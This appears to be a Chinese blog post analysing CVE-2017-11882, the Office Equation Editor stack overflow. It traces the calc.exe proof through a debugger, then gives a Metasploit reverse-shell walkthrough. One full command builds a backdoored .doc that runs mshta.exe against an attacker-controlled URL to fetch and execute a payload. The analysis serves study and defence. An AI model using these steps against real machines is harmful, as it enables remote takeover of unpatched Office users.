1. 程式人生 > >cve-2017-11882漏洞分析報告

cve-2017-11882漏洞分析報告

軟體名稱:Office2016以下
軟體版本:2016以下
漏洞模組:EQNEDT32.EXE
模組版本:6.1.95.45
編譯日期:2000-11-9 作業系統:Windows XP/2003/7/8.1/10
漏洞編號:cve-2017-11882
危害等級:高危
漏洞型別:緩衝區溢位
威脅型別:遠端

軟體簡介

Microsoft Office 是微軟公司針對 Windows 作業系統所推出的辦公室套裝軟體
公式編輯器是office的其中一個元件,為一個獨立的EXE,程式釋出的是2000年,使用VC4.X編譯器所生成
在這裡插入圖片描述

漏洞成因

公式編輯器存在緩衝區溢位漏洞。
該漏洞的成因是EQNEDT32.EXE程序在讀入包含MathType的ole資料時,在拷貝公式字型名稱(Font Name資料)時沒有對名稱長度進行校驗,從而造成棧緩衝區溢位,是一個非常經典的棧溢位漏洞。函式給Font Name資料分配的大小是0x24個位元組,超過該大小就會造成溢位。

利用過程

開啟含有惡意程式碼的Word文件,會彈出一個計算器。
在這裡插入圖片描述
使用OD附加EQNEDT32.EXE程序。在建立程序相關的函式下斷點。
在這裡插入圖片描述
發現是使用WinExec建立的計算器程序

通過棧回溯,找到上一層地址
在這裡插入圖片描述
來到這段程式碼,做個記錄
在這裡插入圖片描述
找到這段程式碼的最頭部,下一個斷點,再次開啟帶有惡意程式碼的Word文件
發現了拷貝溢位點
在這裡插入圖片描述
將傳入的引數,拷貝到棧裡,然後覆蓋了原有的返回地址。
使用IDA分析
在這裡插入圖片描述
返回地址被修改為本模組內的一個地址
在這裡插入圖片描述
發現是呼叫本模組的WinExec程式碼,
巧妙的將命令列cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA
當作引數,呼叫WinExec函式執行指定的程式。
最終彈出了計算器。

PoC

在kali虛擬機器配置好環境
首先進入msfconsole,根據cve編號搜尋指定的漏洞
在這裡插入圖片描述
使用第一個漏洞
然後設定payload使用tcp反彈回連的方式
在這裡插入圖片描述
接著配置好一些必要的資訊,設定本機的監聽ip與埠,一般埠預設即可,還有一個資源下載的目錄urlpath
在這裡插入圖片描述
設定完畢之後,就可以開始攻擊了
在這裡插入圖片描述
使用Kali Metasploit生成後門木馬
將CVE-2017-11882.py的指令碼放置到桌面
使用該指令碼生成一個後門木馬
python CVE-2017-11882.py -c “mshta.exe http://192.168.1.70:8080/1” -o 11882.doc
在這裡插入圖片描述
在這裡插入圖片描述
在win7上執行後門木馬
在這裡插入圖片描述


執行後沒有任何明顯的反映,但是Metasploit中已經連線上了

在Metasploit中連線,操作後門
在這裡插入圖片描述
發現目標機器已經連線上了,此時可以任意操控後門,上傳下載檔案。
在這裡插入圖片描述

結語

漏洞影響的範圍比較大,公式編輯器一直從2000版本以來保留使用到2016版本
使用的編譯器也比較老久,沒有對記憶體長度進行檢查,所以容易造成緩衝區溢位,且可以利用該漏洞為所欲為。